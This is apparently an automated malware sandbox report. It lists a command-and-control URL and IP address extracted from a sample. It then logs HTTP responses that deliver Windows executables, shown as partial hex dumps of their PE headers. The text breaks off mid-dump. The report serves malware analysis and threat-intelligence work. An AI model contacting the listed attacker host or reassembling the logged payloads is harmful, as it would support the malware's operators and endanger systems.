Source: Malware configuration extractor	URLs: https://property-imper.sbs/api
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 37

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 02:21:09 GMTContent-Type: application/octet-streamContent-Length: 4392960Last-Modified: Sat, 23 Nov 2024 00:46:58 GMTConnection: keep-aliveETag: "67412602-430800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 60 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c4 00 00 04 00 00 19 ac 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 44 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 44 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 61 62 6c 79 7a 6c 73 00 60 1b 00 00 f0 a8 00 00 56 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 64 69 68 67 75 65 74 00 10 00 00 00 50 c4 00 00 04 00 00 00 e2 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 c4 00 00 22 00 00 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 02:21:22 GMTContent-Type: application/octet-streamContent-Length: 1866240Last-Modified: Sat, 23 Nov 2024 01:52:56 GMTConnection: keep-aliveETag: "67413578-1c7a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 d0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4a 00 00 04 00 00 ec 61 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 62 7a 78 61 61 6e 67 00 e0 19 00 00 e0 2f 00 00 da 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6a 66 75 74 65 6e 70 00 10 00 00 00 c0 49 00 00 06 00 00 00 52 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 49 00 00 22 00 00 00 58 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 02:21:31 GMTContent-Type: application/octet-streamContent-Length: 1825280Last-Modified: Sat, 23 Nov 2024 01:53:02 GMTConnection: keep-aliveETag: "6741357e-1bda00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 10 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 6a 00 00 04 00 00 c0 aa 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 64 76 68 70 65 6b 6d 00 40 1a 00 00 c0 4f 00 00 3c 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 63 6f 78 73 6f 63 76 00 10 00 00 00 00 6a 00 00 04 00 00 00 b4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 6a 00 00 22 00 00 00 b8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 02:21:40 GMTContent-Type: application/octet-streamContent-Length: 922112Last-Modified: Sat, 23 Nov 2024 01:51:09 GMTConnection: keep-aliveETag: "6741350d-e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 05 35 41 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 ac ea 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 c4 a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c4 a7 00 00 00 40 0d 00 00 a8 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 02:21:48 GMTContent-Type: application/octet-streamContent-Length: 2726400Last-Modified: Sat, 23 Nov 2024 01:51:37 GMTConnection: keep-aliveETag: "67413529-299a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 96 c5 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 61 7a 75 77 64 6c 64 00 40 29 00 00 a0 00 00 00 38 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 69 71 6d 73 76 6d 79 00 20 00 00 00 e0 29 00 00 06 00 00 00 72 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2a 00 00 22 00 00 00 78 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 02:21:55 GMTContent-Type: application/octet-streamContent-Length: 2726400Last-Modified: Sat, 23 Nov 2024 01:51:40 GMTConnection: keep-aliveETag: "6741352c-299a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 96 c5 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 61 7a 75 77 64 6c 64 00 40 29 00 00 a0 00 00 00 38 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 69 71 6d 73 76 6d 79 00 20 00 00 00 e0 29 00 00 06 00 00 00 72 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2a 00 00 22 00 00 00 78 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 02:22:07 GMTContent-Type: application/octet-streamContent-Length: 2726400Last-Modified: Sat, 23 Nov 2024 01:51:40 GMTConnection: keep-aliveETag: "6741352c-299a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 96 c5 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 61 7a 75 77 64 6c 64 00 40 29 00 00 a0 00 00 00 38 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 69 71 6d 73 76 6d 79 00 20 00 00 00 e0 29 00 00 06 00 00 00 72 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2a 00 00 22 00 00 00 78 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 02:22:26 GMTContent-Type: application/octet-streamContent-Length: 2726400Last-Modified: Sat, 23 Nov 2024 01:51:40 GMTConnection: keep-aliveETag: "6741352c-299a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 